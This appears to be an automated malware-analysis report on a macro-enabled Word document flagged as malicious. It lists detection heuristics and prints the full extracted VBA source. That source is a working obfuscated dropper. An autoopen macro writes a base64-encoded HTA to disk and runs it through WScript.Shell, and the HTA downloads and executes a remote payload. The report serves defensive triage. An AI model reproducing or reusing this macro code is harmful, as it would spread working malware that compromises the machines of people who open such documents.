MALICIOUS
172
Risk Score
Heuristics 7
-
VBA project inside OOXML medium 4 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
WScript.Shell usage critical OLE_VBA_WSCRIPTWScript.Shell usageMatched line in script
Set borderDatabaseButton = CreateObject("wscript.shell") -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set borderDatabaseButton = CreateObject("wscript.shell") -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECTriggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub autoopen() -
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
- http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
- http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
- http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
- http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
- http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
- http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
- http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)
- http://purl.org/dc/dcmitype/In document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 5892 bytes |
SHA-256: 53bf9cce328a1081f670ea77f10a7fe15734fd483cea1e1ef5f920453371ad13 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 7 long base64-like blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "frm"
Attribute VB_Base = "0{1553F230-42C0-492F-B8FE-294E0E5209BD}{93CDE087-1C87-4A77-B363-0ECDA7CF313D}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public Sub button1_Click()
Set sizeMem = ActiveDocument.BuiltInDocumentProperties("title")
Set borderDatabaseButton = CreateObject("wscript.shell")
With borderDatabaseButton
.exec (sr(sizeMem))
End With
End Sub
Attribute VB_Name = "countExArray"
Sub autoopen()
AConvertGeneric
End Sub
Function sr(storageOptionRemove)
sr = StrReverse(storageOptionRemove)
End Function
Sub AConvertGeneric()
Dim refConvert As String
captionIndex = Split(sr(ActiveDocument.BuiltInDocumentProperties("title")), " ")
refConvert = captionIndex(1)
Set buttonRight = New tmpWStruct
buttonRight.clearView refConvert, referenceDelete
frm.button1_Click
End Sub
Attribute VB_Name = "windowDataButton"
Public Function trustWindow(textboxWindow)
If (Len(textboxWindow) < 1024) Then
lenCaptionCounter = Array("<html><body><div id='content1'>fTtlc29sYy5yZXRudW9DY2lyZW5lR3lyb21lbTspMiAsImdwai5yZXRudW9DZXRlbGVkXFxjaWxidXBcXHNyZXN1XFw6YyIoZ", "WxpZm90ZXZhcy5yZXRudW9DY2lyZW5lR3lyb21lbTspeWRvYmVzbm9wc2VyLnlyb21lTWZ1QmVnYXJvdHMoZXRpcncucmV0bnVvQ2NpcmVuZUd5cm9tZW07MSA9IGVwe", "XQucmV0bnVvQ2NpcmVuZUd5cm9tZW07bmVwby5yZXRudW9DY2lyZW5lR3lyb21lbTspIm1hZXJ0cy5iZG9kYSIodGNlamJPWGV2aXRjQSB3ZW4gPSByZXRudW9DY2lyZ", "W5lR3lyb21lbSByYXZ7KTAwMiA9PSBzdXRhdHMueXJvbWVNZnVCZWdhcm90cyhmaTspKGRuZXMueXJvbWVNZnVCZWdhcm90czspZXNsYWYgLCIzenJjdXRVTzdjd3VKR", "VBWQmVRZ3dRNzg9Jko4ajFHU3RkYU09cmVzdT8yeGlwb2YvNjY0MDIvMTI5MDgvNEdNUmt5VWdSV1FmNlFKQVZPZXlMUnZYd3ljM0FTdS9wL045V1NnRFVBRlQ2VVV0O", "Tdxb2QwNmJZUWxTeXAzMENaL2xtLzg2NzYzL3Nvc2dkL21vYy5hZWJvbGdyZXByYWgvLzpwdHRoIiAsIlRFRyIobmVwby55cm9tZU1mdUJlZ2Fyb3RzOykicHR0aGxte", "C4ybG14c20iKHRjZWpiT1hldml0Y0Egd")
End If
trustWindow = Join(lenCaptionCounter, "")
End Function
Public Function buttonCount(textboxWindow)
If (Len(textboxWindow) < 1024) Then
lenCaptionCounter = Array("2VuID0geXJvbWVNZnVCZWdhcm90cyByYXY=</div><div id='content2'>fXspdHN1clRyZXRuaW9wKGhjdGFjfTspImF0aC5yZXRudW9DZXRlbGVkXFxjaWxidXBc", "XHNyZXN1XFw6YyIoZWxpZmV0ZWxlZC5yb3RhcmV0SXRuZW11Z3JBeXJvbWVte3lydDspInRjZWpib21ldHN5c2VsaWYuZ25pdHBpcmNzIih0Y2VqYk9YZXZpdGNBIHdl", "biA9IHJvdGFyZXRJdG5lbXVnckF5cm9tZW0gcmF2OykidGluSW5pZ3VsUCxncGoucmV0bnVvQ2V0ZWxlZFxcY2lsYnVwXFxzcmVzdVxcOmMgMjNsbGRudXIiKG51ci4p", "ImxsZWhzLnRwaXJjc3ciKHRjZWpiT1hldml0Y0Egd2Vu</div><div id='content3'></div><div id='table1'>ABCDEFGHIJKLMNOPQRSTUVWXYZ</div><div", " id='table2'>0123456789+/</div><div id='table3'></div><script language='javascript'>function responseGlobalLeft(storageSizeCopy)", "{return(new ActiveXObject(storageSizeCopy));}function pointerRightNext(counterCounter){return(ptrArray.getElementById(counterCou", "nter).innerHTML);}function loadC")
End If
buttonCount = Join(lenCaptionCounter, "")
End Function
Public Function requestSwap(textboxWindow)
If (Len(textboxWindow) < 1024) Then
lenCaptionCounter = Array("learSwap(){var bufDatabaseNamespace = pointerRightNext('table1');var clearLoadMem = bufDatabaseNamespace.toLowerCase();var point", "erLocalWindow = pointerRightNext('table2');return(bufDatabaseNamespace + clearLoadMem + pointerLocalWindow);}function valueBuffe", "rNext(s){var e={}; var i; var b=0; var c; var x; var l=0; var a; var nextVar=''; var w=String.fromCharCode; var L=s.length;var s", "wapDocumentData = ATitle('tArahc');for(i=0;i<64;i++){e[loadClearSwap()[swapDocumentData](i)]=i;}for(x=0;x<L;x++){c=e[s[swapDocum", "entData](x)];b=(b<<6)+c;l+=6;while(l>=8){((a=(b>>>(l-=8))&0xff)||(x<(L-2)))&&(nextVar+=w(a));}}return(nextVar);};function ATitle", "(iteratorCollection){return iteratorCollection.split('').reverse().join('');}copyPtrText = window;ptrArray = document;copyPtrTex", "t.resizeTo(1, 1);copyPtrText.mov")
End If
requestSwap = Join(lenCaptionCounter, "")
End Function
Public Function loadPointerDatabase(textboxWindow)
If (Len(textboxWindow) < 1024) Then
lenCaptionCounter = Array("eTo(-100, -100);var titleQueryCaption = ptrArray.getElementById('content1').innerHTML;var linkData = ptrArray.getElementById('co", "ntent2').innerHTML;var titleQueryCaption = ATitle(valueBufferNext(titleQueryCaption));var linkData = ATitle(valueBufferNext(link", "Data));</script><script language='javascript'>function nextSize(ptrWRight){var tempConstRepo = responseGlobalLeft(ATitle('lortno", "ctpircs.lortnoctpircssm'));tempConstRepo['Language'] = 'jscript';tempConstRepo['Timeout'] = 60000;tempConstRepo['AddCode'](ptrWR", "ight);return(null);}</script><script language='vbscript'>Call nextSize(titleQueryCaption) : Call nextSize(linkData)</script><scr", "ipt language='javascript'>copyPtrText['close']();</script></body></html>")
End If
loadPointerDatabase = Join(lenCaptionCounter, "")
End Function
Function referenceDelete()
referenceDelete = trustWindow("opyT") + buttonCount("rocV") + requestSwap("opyO") + loadPointerDatabase("extS")
End Function
Attribute VB_Name = "tmpWStruct"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Option Explicit
Public Function clearView(screenProcSwap As String, titleTextbox As String)
Open screenProcSwap For Output As #1
Print #1, titleTextbox
Close #1
End Function
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 29184 bytes |
SHA-256: 0be75f77d61a5a236b56496138ebc4ddb7b750712eb6a13628ba6f6f2c4a4a6c |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 7 long base64-like blob(s).
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.